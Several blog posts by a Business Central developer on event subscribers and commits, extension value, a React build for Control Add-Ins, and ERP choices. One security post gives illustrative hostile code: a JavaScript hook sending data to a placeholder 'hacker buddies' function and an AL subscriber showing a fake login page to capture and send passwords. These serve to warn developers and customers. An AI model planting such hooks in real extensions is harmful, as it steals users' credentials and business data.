Two years of extension building. Part 2

Let’s just say I like construction. I’m never happier than when I am building something, be it something physical or software. With creation comes learning, from creation actually I think. Come to think of it, learning mostly comes from messing stuff up and then fixing it better.

It may seem awkward to confess here that I keep on messing stuff up, after all many people pay me for my expertise. But I would not be an expert if I had not messed up, and learned, so much. My mistakes are like the dirt under my fingernails and the grease stains on my jeans. I wear them with pride.

Another great thing that comes from mistakes are stories to tell. Fortunately we can learn from each other’s mistakes. Don’t listen to negative people, I see people do this. Again and again. Not just people either, we’re not that special. When I have to give one of our cats his medicine the other will run away. Learning from one another just happens.

Back to mistakes. I have such an almighty balls-up to share I hardly know where to begin. It all began about three years ago when my coworkers and myself started using events.

Let’s be clear that what I am about to tell is not exclusive to events, it is something that has been with us for many years. I am about to tell you about our old friend the Commit().

Just a quick recap of the problem. When, in Business Central, you are writing to the database Business Central will wait committing the changes to the database until you are done and all the code has been executed. If at any point an error is raised all changes to the database are rolled back. However when we are running complex routines like posting we sometimes need to manually commit changes to the database before doing some cleanup or some other posting. This is fine, Business Central will never raise an error after a commit. To ensure this a simple design pattern is used.

  • Test near
  • Test far
  • Do it
  • Clean up

By moving all testing to before the actual posting we ensure everything is in order before the first commit.

And then Microsoft added a ton of events to all the posting Codeunits. This is not a problem as such, they are useful and necessary to us. Unfortunately by looking at the events list in VS Code we cannot see where the commits are. Enter my mistake, I raised an error after a commit. The result was a ton of half posted documents in a production database.

The problem here was that it was not as simple as removing an error message. This was a very complex extension that ensured the simultaneous and correct posting of multiple documents. Beside using many event subscribers itself it also triggered a lot of custom code in other extensions. Finding this problem, and fixing it, has given me a deeper insight in how to deal with events.

I had four insights that I would like to share.

First, obviously, know what you are subscribing to. This is where events make things harder, because we don’t change the original object we often don’t know what it is we influence. Fortunately Microsoft made it easy for us to check the standard code. Even in Business Central 2019 wave 2 and newer it is easy to unpack your symbols file and check the source code.

Second, keep it simple. I found it is hardly ever necessary to subscribe to events that are deeper than the OnBeforeRun or OnAfterRun events in posting Codeunits. If I do need something deeper it is usually because of a design flaw in my code. This makes sense if you look at the design pattern mentioned earlier. You either set or test something before posting or you clean up something after posting.

Third, leave the actual posting alone. The posting routines have been designed and tested in order to build trust. Accountants trust the posting routines of Business Central. If we start messing about with posting routines we lose that trust. Besides, the actual posting is also used by other third party extensions. If you touch the posting itself you will break something else.

Fourth, if you can’t keep it simple then override. Most posting Codeunits have Codeunits that call them. In those Codeunits you can override the standard posting Codeunit. This is a last resort though, it will certainly mean compatibility issues with other third party extensions.

[EventSubscriber(ObjectType::Codeunit, Codeunit::"Whse.-Post Shipment (Yes/No)", 'OnBeforeConfirmWhseShipmentPost', '', false, false)]
local procedure OnBeforeConfirmWhseShipmentPost(var WhseShptLine: Record "Warehouse Shipment Line"; var HideDialog: Boolean; var Invoice: Boolean; var IsPosted: Boolean);
var
    CustomPostingRED: Codeunit "Custom Posting RED";
begin
    if IsPosted then
        exit;
    if CustomPostingRED.PostWarehouseShipment(WhseShptLine, HideDialog, Invoice) then
        IsPosted := true;
end;

In the end I had to opt for the fourth option. I created a new Codeunit that runs a number of posting routines with some smart error catching.

There we have it. One more mistake, one more fix that made everything better. I hope this helps you in your quest for clean code. Do you have any embarrassing mistakes to share?

Photo by Christopher Burns on Unsplash

Two years of extension building. Part 1

The year is ending. Christmas is upon us, it is cold and dark and wet, and I have the biggest and scariest change of my working life coming next year. All this has put me in a melancholic mood and has me looking back at the last couple of years. I remembered it is two years ago that I created my first extension and almost two years ago that I started blogging about it. I realized it is time to make good on a promise I made to you, dear reader, and write about my experiences.

The first, and maybe not so obvious, thing I learned is that building extensions is all about creating value and reducing cost.

The way we create value for the organizations who employ us is by identifying what it is that makes those organizations unique and competitive. Then we take what is so unique and competitive and use clever automation to make that better.

Take for example a crane company. What makes that company competitive and unique is it’s ability to lift heavy things at a certain time and in a certain place. So in order to add value to this company we would have to create a better crane that can lift bigger or a wider variety of loads. We could also create clever planning software that would enable said company to do more jobs in a day. Both measures would result in the company doing more work and thus earning more money.

The way we save money for the organizations who employ us is by reducing operating costs. We make what they do cheaper and easier.

Going back to our crane company. We can use cheaper paper for the office stationery or choose to implement software to manage their parts store more efficiently.

Here is the kicker though. While there is a limit to the amount of money a company can save, there is no limit to the amount of money a company can make.

The goal for your innovative project should be to increase revenue more than the cost required to increase that revenue. For instance a new crane that can lift heavier loads quicker and has a lower service interval. Both innovations mean you can do more work in a day.

Related reading: extension design principles

Admittedly this has nothing to do with extensions. You should see this entire blog as a call to evaluate what you spend your time on and how that adds value to your customers. The reason this is the first thing I write about is because this is the foundation from which I started to design extensions.

When you know what adds value for your customer it is easy to determine your priorities. Develop unique software that adds value. Everything else can be off the shelf stuff.

Photo by EJ Yao on Unsplash

Security in your Business Central extensions

I feel like this is the elephant in the room that everyone seems to ignore. How to make sure your Business Central extensions are secure. Ever since we moved into extensions our world has become so much bigger, we have API’s, we can call REST webservices from AL. There are so many cool things available, near unlimited possibilities for hackers to steal you data.

I got into a bit of a discussion with someone on LinkedIn after my recent post on React builds in Control Add-Ins. The heart of it was that compiled JavaScript can contain a multitude of nastiness that is near impossible to spot. This is true but it is also true of extensions. In this blog post I will give some examples of nastiness a careless or unscrupulous developer can create.

First things first, compiled JavaScript. Lets say you ask someone to create a script for your Control Add-In. Let’s say that someone uses React and sends you a compiled script. Everything works, looks pretty and you are happy. However, this was added to your JavaScript:

window.InitControls = (myBCData) => {
 sendToMyHackerBuddies(myBCData);
 processInitControls(myBCData);
}

This, obviously, is a pretty hamfisted example. Easy to spot right? Lets have a look at the compiled code:

window.InitControls=function(e,n){sendToMyHackerBuddies(void 0),p(e)|

Just to give you some context, this particular file holds a single line of 3331 characters of nearly illegible JavsScript. It is impossible to find even this hamfisted example if you don’t know where to look. What if your developer decided to call a function in some piece of script someone posted somewhere? You simply won’t find it.

Second example. You ask someone to create an extension for you. They build it, you test it, everything works, everyone happy right? But what if that developer added this event subscriber and then set ShowMyCode to false?

[EventSubscriber(ObjectType::Table, Database::Customer, 'OnAfterInsertEvent', '', true, true)]
 local procedure CustomerOnInsert(var Rec: Record Customer; RunTrigger: Boolean)
 var
   User: Record User;
   FakeLoginpage: Page "Fake Login Page";
   Password: Text;
 begin
   if User.Get(UserSecurityId()) then;
   FakeLoginpage.RunModal();
   Password := FakeLoginPage.GetPassword();
   SendToMyHackerBuddies(Rec, UserId, GetUrl(ClientType::Api), User."Authentication Email", Password);
 end;

Disaster right? You are one fishing trip away from exposing your entire database to god knows who. What if you simply downloaded an extension someone posted somewhere thinking it would fix your problems?

Third scenario, you call a webservice in order to find the weather conditions on your customers location. Instead of finding a premium trusted API you use the free service you find on webservice.weather.myfriendlyhacker.com/api. It will no doubt return perfectly valid weather data. It will also log all your data and sell it to the highest bidder.

I hope these simple scenarios make you think twice about trust and ease of development. Please remember that Business Central is probably not big enough to be targeted by the really really clever Internet criminals. That will change.

Now for the million dollar question. Will this stop me from using React front ends, extensions, and web services. Of course not. They bring us many good things. But I am mindful of who to trust. I don’t just add any old scripts to my front ends, and I certainly don’t send customer data to random web services.

To my fellow developers, your customers trust you to keep their data secure. Please be mindful of this, earn their trust.

To end users. There are a few simple ways of protecting yourselves.

  • Work only with developers that you know and trust
  • Never install extensions from untrusted sources
  • When you commission someone to create a per tenant extension insist that the source code is visible
  • Where possible insist that code is reviewed by an independent third party
  • Set up your security properly.
  • When in doubt, don’t.

What do you use to protect yourselves? Please let me know in the comments.

Photo by Sam Balye on Unsplash

How to create an optimized React build for Business Central

A while ago I wrote about creating a React front end for Business Central.

In this post I used a fairly simple single web page example where the front end loads the entire React library. Quick and easy but not ideal for production deployment. What we really need is a compiler that will create an optimal build specifically for our app. Like for instance this Tic Tac Toe example.

The first thing you need to address is the fact that the compiler cannot recognize our Microsoft.Dynamics.NAV JavaScript functions. If we tried to compile this:

Microsoft.Dynamics.NAV.InvokeExtensibilityMethod("ControlReady", []);

We will end up with a compiler error like this one:

Line 177:3:  'Microsoft' is not defined  no-undef

We can remedy this by adding a comment line that will tell the compiler to ignore any warnings:

// eslint-disable-next-line
Microsoft.Dynamics.NAV.InvokeExtensibilityMethod("ControlReady", []);

Another thing we need to do is to rename the root div in the public\index.html and in your JavaScript to controlAddIn. That will cause your React components to be attached to the controlAddIn div inside your Control Add-In .

Now we can run the NPM build that will create our optimized production scripts. All the scripts will end up inside the build\static\js folder.

There are two things you can do to add these js files to your extension. You can simply copy them to your extension folder or you can host them elsewhere. For my dev projects I just copy them to my extension. I’m sure that with some clever build scripts this can be easier but that is a story for another day.

Once the scripts are in my extension I can call them from my Control Add-In. Obviously you can do the same with the css files.

Scripts =
   'Scripts/2.2694cafb.chunk.js',
   'Scripts/main.09a9684e.chunk.js';
 StartupScript = 'Scripts/runtime-main.0f79e1cd.js';
 StyleSheets =
   'CSS/2.c0fa1c84.chunk.css',
   'CSS/main.34de6062.chunk.css';

Any React app always has a runtime-main js file. This is the JavaScipt that goes on your main index.html and contains the code that will call all other scripts. Remember, you can’t host the startupscript, that needs to be present inside your extension.

Photo by Markus Spiske on Unsplash

On Harley’s, chaos, and Business Central

I am always struck by the similarity between Harley Davidson and Navision. Both are fantastic products with devoted cult followings.

Both also have had trouble lately having to adapt to the new World. Navision struggled in a world that became increasingly cloud and mobile oriented. Harley Davidson struggles with increasing environmental regulations and an aging demographic. Both recently also released amazing new products. Microsoft Released Business Central. Harley Davidson released the LiveWire. Both also risk alienating their cult following with their latest releases.

I’m told that on twisting the throttle of a LiveWire it slips quietly into hyperspace miraculously reappearing a 100 miles down the road carrying a rider with a stupid grin on her face feeling that somehow she glimpsed the very fabric of reality. If it is anywhere near this description then I want one.

I will go one step further though and claim that the LiveWire is the only viable mode of transport for the future. we must all buy one or we won’t be able to move from a to b at all. Obviously all older Harleys must be traded in immediately. Cars, buses, airplanes, and rockets will all be obsolete. Sorry Elon.

Sound familiar much? I often get this same idea when people talk about Business Central. The truth though is that we have never been more spoiled for choice. Gas or electric, cloud or on premise. Customized or not customized, old or new. Just as a Harley Knucklehead is still a serviceable motorcycle NAV2009 is still a working product. Both just require a lot more maintenance, parts are hard to get, and there are less people who can work on them. But that does not make them unusable.

Let’s talk about accessories. Harley Davidson’s accessory catalogue has it’s own gravity field and it is orbited by moons made of discarded wish lists. Same thing with Business Central right? I dare not descend into the depths of Azure without leaving a trail of pebbles so I can find my way back. Making matters worse is the fact that by using modern development techniques you can interface Business Central with everything. Where do you start?

What we end up with is complete chaos. Where once we had one ERP that did everything we now have so many choices to make many people don’t know where to begin.

The only way out of this mess is to bring order into it ourselves. We need to do this by going back to our roots. Our customer and their business processes. Let’s start with the basics. We need to add value for our customers by efficient automation and reduction of technical debt.

Don’t just build and don’t just buy Azure or PowerApps or anything else because it is hot or you just had a slick presentation on TechDays. You need to think critically. Before you build or buy something you need to think about if there are enough developers for that technology, security, ease of use, and how hard it will be to keep it up to date. Remember that it is not just Business Central that is updated automatically, everything is. Every API in the world faces breaking changes and what you develop now will be broken at some point in the life cycle of your product.

The purpose of this story is not to scare you into doing nothing. The purpose of this story is to think critically and give your customers something that is of lasting value. Something that is safe, secure, and easy to use. Something that is kept up to date as a matter of course.

Don’t get me wrong, I think Business Central, Azure, Power Apps, and the LiveWire are cool and, more than that, that they can add value to your customer. But so can other things. We cannot rely on the old gods of Danish sensibility to bring order to our world. We need to do that ourselves.

Photo by Harley-Davidson on Unsplash